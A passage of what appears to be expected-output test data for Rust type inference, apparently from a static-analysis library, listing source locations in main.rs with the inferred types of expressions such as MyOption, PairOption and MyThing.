x1.m1() | | main.rs:558:5:559:14 | AT | -| main.rs:623:13:623:14 | x2 | | main.rs:552:5:553:13 | S | -| main.rs:623:18:623:18 | S | | main.rs:552:5:553:13 | S | -| main.rs:625:13:625:13 | y | | main.rs:558:5:559:14 | AT | -| main.rs:625:17:625:18 | x2 | | main.rs:552:5:553:13 | S | -| main.rs:625:17:625:23 | x2.m2() | | main.rs:558:5:559:14 | AT | -| main.rs:626:26:626:26 | y | | main.rs:558:5:559:14 | AT | -| main.rs:628:13:628:14 | x3 | | main.rs:552:5:553:13 | S | -| main.rs:628:18:628:18 | S | | main.rs:552:5:553:13 | S | -| main.rs:630:26:630:27 | x3 | | main.rs:552:5:553:13 | S | -| main.rs:630:26:630:34 | x3.put(...) | | main.rs:501:5:504:5 | Wrapper | -| main.rs:633:26:633:27 | x3 | | main.rs:552:5:553:13 | S | -| main.rs:635:20:635:20 | S | | main.rs:552:5:553:13 | S | -| main.rs:638:13:638:14 | x5 | | main.rs:555:5:556:14 | S2 | -| main.rs:638:18:638:19 | S2 | | main.rs:555:5:556:14 | S2 | -| main.rs:639:26:639:27 | x5 | | main.rs:555:5:556:14 | S2 | -| main.rs:639:26:639:32 | x5.m1() | | main.rs:501:5:504:5 | Wrapper | -| main.rs:639:26:639:32 | x5.m1() | A | main.rs:555:5:556:14 | S2 | -| main.rs:640:13:640:14 | x6 | | main.rs:555:5:556:14 | S2 | -| main.rs:640:18:640:19 | S2 | | main.rs:555:5:556:14 | S2 | -| main.rs:641:26:641:27 | x6 | | main.rs:555:5:556:14 | S2 | -| main.rs:641:26:641:32 | x6.m2() | | main.rs:501:5:504:5 | Wrapper | -| main.rs:641:26:641:32 | x6.m2() | A | main.rs:555:5:556:14 | S2 | -| main.rs:643:13:643:22 | assoc_zero | | main.rs:558:5:559:14 | AT | -| main.rs:643:26:643:27 | AT | | main.rs:558:5:559:14 | AT | -| main.rs:643:26:643:38 | AT.get_zero() | | main.rs:558:5:559:14 | AT | -| main.rs:644:13:644:21 | assoc_one | | main.rs:552:5:553:13 | S | -| main.rs:644:25:644:26 | AT | | main.rs:558:5:559:14 | AT | -| main.rs:644:25:644:36 | AT.get_one() | | main.rs:552:5:553:13 | S | -| main.rs:645:13:645:21 | assoc_two | | main.rs:555:5:556:14 | S2 | -| main.rs:645:25:645:26 | AT | | main.rs:558:5:559:14 | AT | -| main.rs:645:25:645:36 | AT.get_two() | | main.rs:555:5:556:14 | S2 | -| main.rs:662:15:662:18 | SelfParam | | main.rs:650:5:654:5 | MyEnum | -| main.rs:662:15:662:18 | SelfParam | A | main.rs:661:10:661:10 | T | -| main.rs:662:26:667:9 | { ... } | | main.rs:661:10:661:10 | T | -| main.rs:663:13:666:13 | match self { ... } | | main.rs:661:10:661:10 | T | -| main.rs:663:19:663:22 | self | | main.rs:650:5:654:5 | MyEnum | -| main.rs:663:19:663:22 | self | A | main.rs:661:10:661:10 | T | -| main.rs:664:28:664:28 | a | | main.rs:661:10:661:10 | T | -| main.rs:664:34:664:34 | a | | main.rs:661:10:661:10 | T | -| main.rs:665:30:665:30 | a | | main.rs:661:10:661:10 | T | -| main.rs:665:37:665:37 | a | | main.rs:661:10:661:10 | T | -| main.rs:671:13:671:13 | x | | main.rs:650:5:654:5 | MyEnum | -| main.rs:671:13:671:13 | x | A | main.rs:656:5:657:14 | S1 | -| main.rs:671:17:671:30 | ...::C1(...) | | main.rs:650:5:654:5 | MyEnum | -| main.rs:671:17:671:30 | ...::C1(...) | A | main.rs:656:5:657:14 | S1 | -| main.rs:671:28:671:29 | S1 | | main.rs:656:5:657:14 | S1 | -| main.rs:672:13:672:13 | y | | main.rs:650:5:654:5 | MyEnum | -| main.rs:672:13:672:13 | y | A | main.rs:658:5:659:14 | S2 | -| main.rs:672:17:672:36 | ...::C2 {...} | | main.rs:650:5:654:5 | MyEnum | -| main.rs:672:17:672:36 | ...::C2 {...} | A | main.rs:658:5:659:14 | S2 | -| main.rs:672:33:672:34 | S2 | | main.rs:658:5:659:14 | S2 | -| main.rs:674:26:674:26 | x | | main.rs:650:5:654:5 | MyEnum | -| main.rs:674:26:674:26 | x | A | main.rs:656:5:657:14 | S1 | -| main.rs:674:26:674:31 | x.m1() | | main.rs:656:5:657:14 | S1 | -| main.rs:675:26:675:26 | y | | main.rs:650:5:654:5 | MyEnum | -| main.rs:675:26:675:26 | y | A | main.rs:658:5:659:14 | S2 | -| main.rs:675:26:675:31 | y.m1() | | main.rs:658:5:659:14 | S2 | -| main.rs:697:15:697:18 | SelfParam | | main.rs:695:5:698:5 | Self [trait MyTrait1] | -| main.rs:701:15:701:18 | SelfParam | | main.rs:700:5:711:5 | Self [trait MyTrait2] | -| main.rs:704:9:710:9 | { ... } | | main.rs:700:20:700:22 | Tr2 | -| main.rs:705:13:709:13 | if ... {...} else {...} | | main.rs:700:20:700:22 | Tr2 | -| main.rs:705:26:707:13 | { ... } | | main.rs:700:20:700:22 | Tr2 | -| main.rs:706:17:706:20 | self | | main.rs:700:5:711:5 | Self [trait MyTrait2] | -| main.rs:706:17:706:25 | self.m1() | | main.rs:700:20:700:22 | Tr2 | -| main.rs:707:20:709:13 | { ... } | | main.rs:700:20:700:22 | Tr2 | -| main.rs:708:17:708:30 | ...::m1(...) | | main.rs:700:20:700:22 | Tr2 | -| main.rs:708:26:708:29 | self | | main.rs:700:5:711:5 | Self [trait MyTrait2] | -| main.rs:714:15:714:18 | SelfParam | | main.rs:713:5:724:5 | Self [trait MyTrait3] | -| main.rs:717:9:723:9 | { ... } | | main.rs:713:20:713:22 | Tr3 | -| main.rs:718:13:722:13 | if ... {...} else {...} | | main.rs:713:20:713:22 | Tr3 | -| main.rs:718:26:720:13 | { ... } | | main.rs:713:20:713:22 | Tr3 | -| main.rs:719:17:719:20 | self | | main.rs:713:5:724:5 | Self [trait MyTrait3] | -| main.rs:719:17:719:25 | self.m2() | | main.rs:680:5:683:5 | MyThing | -| main.rs:719:17:719:25 | self.m2() | A | main.rs:713:20:713:22 | Tr3 | -| main.rs:719:17:719:27 | ... .a | | main.rs:713:20:713:22 | Tr3 | -| main.rs:720:20:722:13 | { ... } | | main.rs:713:20:713:22 | Tr3 | -| main.rs:721:17:721:30 | ...::m2(...) | | main.rs:680:5:683:5 | MyThing | -| main.rs:721:17:721:30 | ...::m2(...) | A | main.rs:713:20:713:22 | Tr3 | -| main.rs:721:17:721:32 | ... .a | | main.rs:713:20:713:22 | Tr3 | -| main.rs:721:26:721:29 | self | | main.rs:713:5:724:5 | Self [trait MyTrait3] | -| main.rs:728:15:728:18 | SelfParam | | main.rs:680:5:683:5 | MyThing | -| main.rs:728:15:728:18 | SelfParam | A | main.rs:726:10:726:10 | T | -| main.rs:728:26:730:9 | { ... } | | main.rs:726:10:726:10 | T | -| main.rs:729:13:729:16 | self | | main.rs:680:5:683:5 | MyThing | -| main.rs:729:13:729:16 | self | A | main.rs:726:10:726:10 | T | -| main.rs:729:13:729:18 | self.a | | main.rs:726:10:726:10 | T | -| main.rs:737:15:737:18 | SelfParam | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:737:15:737:18 | SelfParam | A | main.rs:735:10:735:10 | T | -| main.rs:737:35:739:9 | { ... } | | main.rs:680:5:683:5 | MyThing | -| main.rs:737:35:739:9 | { ... } | A | main.rs:735:10:735:10 | T | -| main.rs:738:13:738:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | -| main.rs:738:13:738:33 | MyThing {...} | A | main.rs:735:10:735:10 | T | -| main.rs:738:26:738:29 | self | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:738:26:738:29 | self | A | main.rs:735:10:735:10 | T | -| main.rs:738:26:738:31 | self.a | | main.rs:735:10:735:10 | T | -| main.rs:747:13:747:13 | x | | main.rs:680:5:683:5 | MyThing | -| main.rs:747:13:747:13 | x | A | main.rs:690:5:691:14 | S1 | -| main.rs:747:17:747:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | -| main.rs:747:17:747:33 | MyThing {...} | A | main.rs:690:5:691:14 | S1 | -| main.rs:747:30:747:31 | S1 | | main.rs:690:5:691:14 | S1 | -| main.rs:748:13:748:13 | y | | main.rs:680:5:683:5 | MyThing | -| main.rs:748:13:748:13 | y | A | main.rs:692:5:693:14 | S2 | -| main.rs:748:17:748:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | -| main.rs:748:17:748:33 | MyThing {...} | A | main.rs:692:5:693:14 | S2 | -| main.rs:748:30:748:31 | S2 | | main.rs:692:5:693:14 | S2 | -| main.rs:750:26:750:26 | x | | main.rs:680:5:683:5 | MyThing | -| main.rs:750:26:750:26 | x | A | main.rs:690:5:691:14 | S1 | -| main.rs:750:26:750:31 | x.m1() | | main.rs:690:5:691:14 | S1 | -| main.rs:751:26:751:26 | y | | main.rs:680:5:683:5 | MyThing | -| main.rs:751:26:751:26 | y | A | main.rs:692:5:693:14 | S2 | -| main.rs:751:26:751:31 | y.m1() | | main.rs:692:5:693:14 | S2 | -| main.rs:753:13:753:13 | x | | main.rs:680:5:683:5 | MyThing | -| main.rs:753:13:753:13 | x | A | main.rs:690:5:691:14 | S1 | -| main.rs:753:17:753:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | -| main.rs:753:17:753:33 | MyThing {...} | A | main.rs:690:5:691:14 | S1 | -| main.rs:753:30:753:31 | S1 | | main.rs:690:5:691:14 | S1 | -| main.rs:754:13:754:13 | y | | main.rs:680:5:683:5 | MyThing | -| main.rs:754:13:754:13 | y | A | main.rs:692:5:693:14 | S2 | -| main.rs:754:17:754:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | -| main.rs:754:17:754:33 | MyThing {...} | A | main.rs:692:5:693:14 | S2 | -| main.rs:754:30:754:31 | S2 | | main.rs:692:5:693:14 | S2 | -| main.rs:756:26:756:26 | x | | main.rs:680:5:683:5 | MyThing | -| main.rs:756:26:756:26 | x | A | main.rs:690:5:691:14 | S1 | -| main.rs:756:26:756:31 | x.m2() | | main.rs:690:5:691:14 | S1 | -| main.rs:757:26:757:26 | y | | main.rs:680:5:683:5 | MyThing | -| main.rs:757:26:757:26 | y | A | main.rs:692:5:693:14 | S2 | -| main.rs:757:26:757:31 | y.m2() | | main.rs:692:5:693:14 | S2 | -| main.rs:759:13:759:13 | x | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:759:13:759:13 | x | A | main.rs:690:5:691:14 | S1 | -| main.rs:759:17:759:34 | MyThing2 {...} | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:759:17:759:34 | MyThing2 {...} | A | main.rs:690:5:691:14 | S1 | -| main.rs:759:31:759:32 | S1 | | main.rs:690:5:691:14 | S1 | -| main.rs:760:13:760:13 | y | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:760:13:760:13 | y | A | main.rs:692:5:693:14 | S2 | -| main.rs:760:17:760:34 | MyThing2 {...} | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:760:17:760:34 | MyThing2 {...} | A | main.rs:692:5:693:14 | S2 | -| main.rs:760:31:760:32 | S2 | | main.rs:692:5:693:14 | S2 | -| main.rs:762:26:762:26 | x | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:762:26:762:26 | x | A | main.rs:690:5:691:14 | S1 | -| main.rs:762:26:762:31 | x.m3() | | main.rs:690:5:691:14 | S1 | -| main.rs:763:26:763:26 | y | | main.rs:685:5:688:5 | MyThing2 | -| main.rs:763:26:763:26 | y | A | main.rs:692:5:693:14 | S2 | -| main.rs:763:26:763:31 | y.m3() | | main.rs:692:5:693:14 | S2 | -| main.rs:781:22:781:22 | x | | file://:0:0:0:0 | & | -| main.rs:781:22:781:22 | x | &T | main.rs:781:11:781:19 | T | -| main.rs:781:35:783:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:781:35:783:5 | { ... } | &T | main.rs:781:11:781:19 | T | -| main.rs:782:9:782:9 | x | | file://:0:0:0:0 | & | -| main.rs:782:9:782:9 | x | &T | main.rs:781:11:781:19 | T | -| main.rs:786:17:786:20 | SelfParam | | main.rs:771:5:772:14 | S1 | -| main.rs:786:29:788:9 | { ... } | | main.rs:774:5:775:14 | S2 | -| main.rs:787:13:787:14 | S2 | | main.rs:774:5:775:14 | S2 | -| main.rs:791:21:791:21 | x | | main.rs:791:13:791:14 | T1 | -| main.rs:794:5:796:5 | { ... } | | main.rs:791:17:791:18 | T2 | -| main.rs:795:9:795:9 | x | | main.rs:791:13:791:14 | T1 | -| main.rs:795:9:795:16 | x.into() | | main.rs:791:17:791:18 | T2 | -| main.rs:799:13:799:13 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:799:17:799:18 | S1 | | main.rs:771:5:772:14 | S1 | -| main.rs:800:26:800:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:800:26:800:31 | id(...) | &T | main.rs:771:5:772:14 | S1 | -| main.rs:800:29:800:30 | &x | | file://:0:0:0:0 | & | -| main.rs:800:29:800:30 | &x | &T | main.rs:771:5:772:14 | S1 | -| main.rs:800:30:800:30 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:802:13:802:13 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:802:17:802:18 | S1 | | main.rs:771:5:772:14 | S1 | -| main.rs:803:26:803:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:803:26:803:37 | id::<...>(...) | &T | main.rs:771:5:772:14 | S1 | -| main.rs:803:35:803:36 | &x | | file://:0:0:0:0 | & | -| main.rs:803:35:803:36 | &x | &T | main.rs:771:5:772:14 | S1 | -| main.rs:803:36:803:36 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:805:13:805:13 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:805:17:805:18 | S1 | | main.rs:771:5:772:14 | S1 | -| main.rs:806:26:806:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:806:26:806:44 | id::<...>(...) | &T | main.rs:771:5:772:14 | S1 | -| main.rs:806:42:806:43 | &x | | file://:0:0:0:0 | & | -| main.rs:806:42:806:43 | &x | &T | main.rs:771:5:772:14 | S1 | -| main.rs:806:43:806:43 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:808:13:808:13 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:808:17:808:18 | S1 | | main.rs:771:5:772:14 | S1 | -| main.rs:809:9:809:25 | into::<...>(...) | | main.rs:774:5:775:14 | S2 | -| main.rs:809:24:809:24 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:811:13:811:13 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:811:17:811:18 | S1 | | main.rs:771:5:772:14 | S1 | -| main.rs:812:13:812:13 | y | | main.rs:774:5:775:14 | S2 | -| main.rs:812:21:812:27 | into(...) | | main.rs:774:5:775:14 | S2 | -| main.rs:812:26:812:26 | x | | main.rs:771:5:772:14 | S1 | -| main.rs:826:22:826:25 | SelfParam | | main.rs:817:5:823:5 | PairOption | -| main.rs:826:22:826:25 | SelfParam | Fst | main.rs:825:10:825:12 | Fst | -| main.rs:826:22:826:25 | SelfParam | Snd | main.rs:825:15:825:17 | Snd | -| main.rs:826:35:833:9 | { ... } | | main.rs:825:15:825:17 | Snd | -| main.rs:827:13:832:13 | match self { ... } | | main.rs:825:15:825:17 | Snd | -| main.rs:827:19:827:22 | self | | main.rs:817:5:823:5 | PairOption | -| main.rs:827:19:827:22 | self | Fst | main.rs:825:10:825:12 | Fst | -| main.rs:827:19:827:22 | self | Snd | main.rs:825:15:825:17 | Snd | -| main.rs:828:43:828:82 | MacroExpr | | main.rs:825:15:825:17 | Snd | -| main.rs:829:43:829:81 | MacroExpr | | main.rs:825:15:825:17 | Snd | -| main.rs:830:37:830:39 | snd | | main.rs:825:15:825:17 | Snd | -| main.rs:830:45:830:47 | snd | | main.rs:825:15:825:17 | Snd | -| main.rs:831:41:831:43 | snd | | main.rs:825:15:825:17 | Snd | -| main.rs:831:49:831:51 | snd | | main.rs:825:15:825:17 | Snd | -| main.rs:857:10:857:10 | t | | main.rs:817:5:823:5 | PairOption | -| main.rs:857:10:857:10 | t | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:857:10:857:10 | t | Snd | main.rs:817:5:823:5 | PairOption | -| main.rs:857:10:857:10 | t | Snd.Fst | main.rs:839:5:840:14 | S2 | -| main.rs:857:10:857:10 | t | Snd.Snd | main.rs:842:5:843:14 | S3 | -| main.rs:858:13:858:13 | x | | main.rs:842:5:843:14 | S3 | -| main.rs:858:17:858:17 | t | | main.rs:817:5:823:5 | PairOption | -| main.rs:858:17:858:17 | t | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:858:17:858:17 | t | Snd | main.rs:817:5:823:5 | PairOption | -| main.rs:858:17:858:17 | t | Snd.Fst | main.rs:839:5:840:14 | S2 | -| main.rs:858:17:858:17 | t | Snd.Snd | main.rs:842:5:843:14 | S3 | -| main.rs:858:17:858:29 | t.unwrapSnd() | | main.rs:817:5:823:5 | PairOption | -| main.rs:858:17:858:29 | t.unwrapSnd() | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:858:17:858:29 | t.unwrapSnd() | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:858:17:858:41 | ... .unwrapSnd() | | main.rs:842:5:843:14 | S3 | -| main.rs:859:26:859:26 | x | | main.rs:842:5:843:14 | S3 | -| main.rs:864:13:864:14 | p1 | | main.rs:817:5:823:5 | PairOption | -| main.rs:864:13:864:14 | p1 | Fst | main.rs:836:5:837:14 | S1 | -| main.rs:864:13:864:14 | p1 | Snd | main.rs:839:5:840:14 | S2 | -| main.rs:864:26:864:53 | ...::PairBoth(...) | | main.rs:817:5:823:5 | PairOption | -| main.rs:864:26:864:53 | ...::PairBoth(...) | Fst | main.rs:836:5:837:14 | S1 | -| main.rs:864:26:864:53 | ...::PairBoth(...) | Snd | main.rs:839:5:840:14 | S2 | -| main.rs:864:47:864:48 | S1 | | main.rs:836:5:837:14 | S1 | -| main.rs:864:51:864:52 | S2 | | main.rs:839:5:840:14 | S2 | -| main.rs:865:26:865:27 | p1 | | main.rs:817:5:823:5 | PairOption | -| main.rs:865:26:865:27 | p1 | Fst | main.rs:836:5:837:14 | S1 | -| main.rs:865:26:865:27 | p1 | Snd | main.rs:839:5:840:14 | S2 | -| main.rs:868:13:868:14 | p2 | | main.rs:817:5:823:5 | PairOption | -| main.rs:868:13:868:14 | p2 | Fst | main.rs:836:5:837:14 | S1 | -| main.rs:868:13:868:14 | p2 | Snd | main.rs:839:5:840:14 | S2 | -| main.rs:868:26:868:47 | ...::PairNone(...) | | main.rs:817:5:823:5 | PairOption | -| main.rs:868:26:868:47 | ...::PairNone(...) | Fst | main.rs:836:5:837:14 | S1 | -| main.rs:868:26:868:47 | ...::PairNone(...) | Snd | main.rs:839:5:840:14 | S2 | -| main.rs:869:26:869:27 | p2 | | main.rs:817:5:823:5 | PairOption | -| main.rs:869:26:869:27 | p2 | Fst | main.rs:836:5:837:14 | S1 | -| main.rs:869:26:869:27 | p2 | Snd | main.rs:839:5:840:14 | S2 | -| main.rs:872:13:872:14 | p3 | | main.rs:817:5:823:5 | PairOption | -| main.rs:872:13:872:14 | p3 | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:872:13:872:14 | p3 | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:872:34:872:56 | ...::PairSnd(...) | | main.rs:817:5:823:5 | PairOption | -| main.rs:872:34:872:56 | ...::PairSnd(...) | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:872:34:872:56 | ...::PairSnd(...) | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:872:54:872:55 | S3 | | main.rs:842:5:843:14 | S3 | -| main.rs:873:26:873:27 | p3 | | main.rs:817:5:823:5 | PairOption | -| main.rs:873:26:873:27 | p3 | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:873:26:873:27 | p3 | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:876:13:876:14 | p3 | | main.rs:817:5:823:5 | PairOption | -| main.rs:876:13:876:14 | p3 | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:876:13:876:14 | p3 | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:876:35:876:56 | ...::PairNone(...) | | main.rs:817:5:823:5 | PairOption | -| main.rs:876:35:876:56 | ...::PairNone(...) | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:876:35:876:56 | ...::PairNone(...) | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:877:26:877:27 | p3 | | main.rs:817:5:823:5 | PairOption | -| main.rs:877:26:877:27 | p3 | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:877:26:877:27 | p3 | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:879:11:879:54 | ...::PairSnd(...) | | main.rs:817:5:823:5 | PairOption | -| main.rs:879:11:879:54 | ...::PairSnd(...) | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:879:11:879:54 | ...::PairSnd(...) | Snd | main.rs:817:5:823:5 | PairOption | -| main.rs:879:11:879:54 | ...::PairSnd(...) | Snd.Fst | main.rs:839:5:840:14 | S2 | -| main.rs:879:11:879:54 | ...::PairSnd(...) | Snd.Snd | main.rs:842:5:843:14 | S3 | -| main.rs:879:31:879:53 | ...::PairSnd(...) | | main.rs:817:5:823:5 | PairOption | -| main.rs:879:31:879:53 | ...::PairSnd(...) | Fst | main.rs:839:5:840:14 | S2 | -| main.rs:879:31:879:53 | ...::PairSnd(...) | Snd | main.rs:842:5:843:14 | S3 | -| main.rs:879:51:879:52 | S3 | | main.rs:842:5:843:14 | S3 | -| main.rs:892:16:892:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:892:16:892:24 | SelfParam | &T | main.rs:890:5:897:5 | Self [trait MyTrait] | -| main.rs:892:27:892:31 | value | | main.rs:890:19:890:19 | S | -| main.rs:894:21:894:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:894:21:894:29 | SelfParam | &T | main.rs:890:5:897:5 | Self [trait MyTrait] | -| main.rs:894:32:894:36 | value | | main.rs:890:19:890:19 | S | -| main.rs:895:13:895:16 | self | | file://:0:0:0:0 | & | -| main.rs:895:13:895:16 | self | &T | main.rs:890:5:897:5 | Self [trait MyTrait] | -| main.rs:895:22:895:26 | value | | main.rs:890:19:890:19 | S | -| main.rs:901:16:901:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:901:16:901:24 | SelfParam | &T | main.rs:884:5:888:5 | MyOption | -| main.rs:901:16:901:24 | SelfParam | &T.T | main.rs:899:10:899:10 | T | -| main.rs:901:27:901:31 | value | | main.rs:899:10:899:10 | T | -| main.rs:905:26:907:9 | { ... } | | main.rs:884:5:888:5 | MyOption | -| main.rs:905:26:907:9 | { ... } | T | main.rs:904:10:904:10 | T | -| main.rs:906:13:906:30 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:906:13:906:30 | ...::MyNone(...) | T | main.rs:904:10:904:10 | T | -| main.rs:911:20:911:23 | SelfParam | | main.rs:884:5:888:5 | MyOption | -| main.rs:911:20:911:23 | SelfParam | T | main.rs:884:5:888:5 | MyOption | -| main.rs:911:20:911:23 | SelfParam | T.T | main.rs:910:10:910:10 | T | -| main.rs:911:41:916:9 | { ... } | | main.rs:884:5:888:5 | MyOption | -| main.rs:911:41:916:9 | { ... } | T | main.rs:910:10:910:10 | T | -| main.rs:912:13:915:13 | match self { ... } | | main.rs:884:5:888:5 | MyOption | -| main.rs:912:13:915:13 | match self { ... } | T | main.rs:910:10:910:10 | T | -| main.rs:912:19:912:22 | self | | main.rs:884:5:888:5 | MyOption | -| main.rs:912:19:912:22 | self | T | main.rs:884:5:888:5 | MyOption | -| main.rs:912:19:912:22 | self | T.T | main.rs:910:10:910:10 | T | -| main.rs:913:39:913:56 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:913:39:913:56 | ...::MyNone(...) | T | main.rs:910:10:910:10 | T | -| main.rs:914:34:914:34 | x | | main.rs:884:5:888:5 | MyOption | -| main.rs:914:34:914:34 | x | T | main.rs:910:10:910:10 | T | -| main.rs:914:40:914:40 | x | | main.rs:884:5:888:5 | MyOption | -| main.rs:914:40:914:40 | x | T | main.rs:910:10:910:10 | T | -| main.rs:923:13:923:14 | x1 | | main.rs:884:5:888:5 | MyOption | -| main.rs:923:18:923:37 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:924:26:924:27 | x1 | | main.rs:884:5:888:5 | MyOption | -| main.rs:926:13:926:18 | mut x2 | | main.rs:884:5:888:5 | MyOption | -| main.rs:926:13:926:18 | mut x2 | T | main.rs:919:5:920:13 | S | -| main.rs:926:22:926:36 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:926:22:926:36 | ...::new(...) | T | main.rs:919:5:920:13 | S | -| main.rs:927:9:927:10 | x2 | | main.rs:884:5:888:5 | MyOption | -| main.rs:927:9:927:10 | x2 | T | main.rs:919:5:920:13 | S | -| main.rs:927:16:927:16 | S | | main.rs:919:5:920:13 | S | -| main.rs:928:26:928:27 | x2 | | main.rs:884:5:888:5 | MyOption | -| main.rs:928:26:928:27 | x2 | T | main.rs:919:5:920:13 | S | -| main.rs:930:13:930:18 | mut x3 | | main.rs:884:5:888:5 | MyOption | -| main.rs:930:22:930:36 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:931:9:931:10 | x3 | | main.rs:884:5:888:5 | MyOption | -| main.rs:931:21:931:21 | S | | main.rs:919:5:920:13 | S | -| main.rs:932:26:932:27 | x3 | | main.rs:884:5:888:5 | MyOption | -| main.rs:934:13:934:18 | mut x4 | | main.rs:884:5:888:5 | MyOption | -| main.rs:934:13:934:18 | mut x4 | T | main.rs:919:5:920:13 | S | -| main.rs:934:22:934:36 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:934:22:934:36 | ...::new(...) | T | main.rs:919:5:920:13 | S | -| main.rs:935:23:935:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:935:23:935:29 | &mut x4 | &T | main.rs:884:5:888:5 | MyOption | -| main.rs:935:23:935:29 | &mut x4 | &T.T | main.rs:919:5:920:13 | S | -| main.rs:935:28:935:29 | x4 | | main.rs:884:5:888:5 | MyOption | -| main.rs:935:28:935:29 | x4 | T | main.rs:919:5:920:13 | S | -| main.rs:935:32:935:32 | S | | main.rs:919:5:920:13 | S | -| main.rs:936:26:936:27 | x4 | | main.rs:884:5:888:5 | MyOption | -| main.rs:936:26:936:27 | x4 | T | main.rs:919:5:920:13 | S | -| main.rs:938:13:938:14 | x5 | | main.rs:884:5:888:5 | MyOption | -| main.rs:938:13:938:14 | x5 | T | main.rs:884:5:888:5 | MyOption | -| main.rs:938:13:938:14 | x5 | T.T | main.rs:919:5:920:13 | S | -| main.rs:938:18:938:58 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:938:18:938:58 | ...::MySome(...) | T | main.rs:884:5:888:5 | MyOption | -| main.rs:938:18:938:58 | ...::MySome(...) | T.T | main.rs:919:5:920:13 | S | -| main.rs:938:35:938:57 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:938:35:938:57 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | -| main.rs:939:26:939:27 | x5 | | main.rs:884:5:888:5 | MyOption | -| main.rs:939:26:939:27 | x5 | T | main.rs:884:5:888:5 | MyOption | -| main.rs:939:26:939:27 | x5 | T.T | main.rs:919:5:920:13 | S | -| main.rs:939:26:939:37 | x5.flatten() | | main.rs:884:5:888:5 | MyOption | -| main.rs:939:26:939:37 | x5.flatten() | T | main.rs:919:5:920:13 | S | -| main.rs:941:13:941:14 | x6 | | main.rs:884:5:888:5 | MyOption | -| main.rs:941:13:941:14 | x6 | T | main.rs:884:5:888:5 | MyOption | -| main.rs:941:13:941:14 | x6 | T.T | main.rs:919:5:920:13 | S | -| main.rs:941:18:941:58 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:941:18:941:58 | ...::MySome(...) | T | main.rs:884:5:888:5 | MyOption | -| main.rs:941:18:941:58 | ...::MySome(...) | T.T | main.rs:919:5:920:13 | S | -| main.rs:941:35:941:57 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:941:35:941:57 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | -| main.rs:942:26:942:61 | ...::flatten(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:942:26:942:61 | ...::flatten(...) | T | main.rs:919:5:920:13 | S | -| main.rs:942:59:942:60 | x6 | | main.rs:884:5:888:5 | MyOption | -| main.rs:942:59:942:60 | x6 | T | main.rs:884:5:888:5 | MyOption | -| main.rs:942:59:942:60 | x6 | T.T | main.rs:919:5:920:13 | S | -| main.rs:944:13:944:19 | from_if | | main.rs:884:5:888:5 | MyOption | -| main.rs:944:13:944:19 | from_if | T | main.rs:919:5:920:13 | S | -| main.rs:944:23:948:9 | if ... {...} else {...} | | main.rs:884:5:888:5 | MyOption | -| main.rs:944:23:948:9 | if ... {...} else {...} | T | main.rs:919:5:920:13 | S | -| main.rs:944:36:946:9 | { ... } | | main.rs:884:5:888:5 | MyOption | -| main.rs:944:36:946:9 | { ... } | T | main.rs:919:5:920:13 | S | -| main.rs:945:13:945:30 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:945:13:945:30 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | -| main.rs:946:16:948:9 | { ... } | | main.rs:884:5:888:5 | MyOption | -| main.rs:946:16:948:9 | { ... } | T | main.rs:919:5:920:13 | S | -| main.rs:947:13:947:31 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:947:13:947:31 | ...::MySome(...) | T | 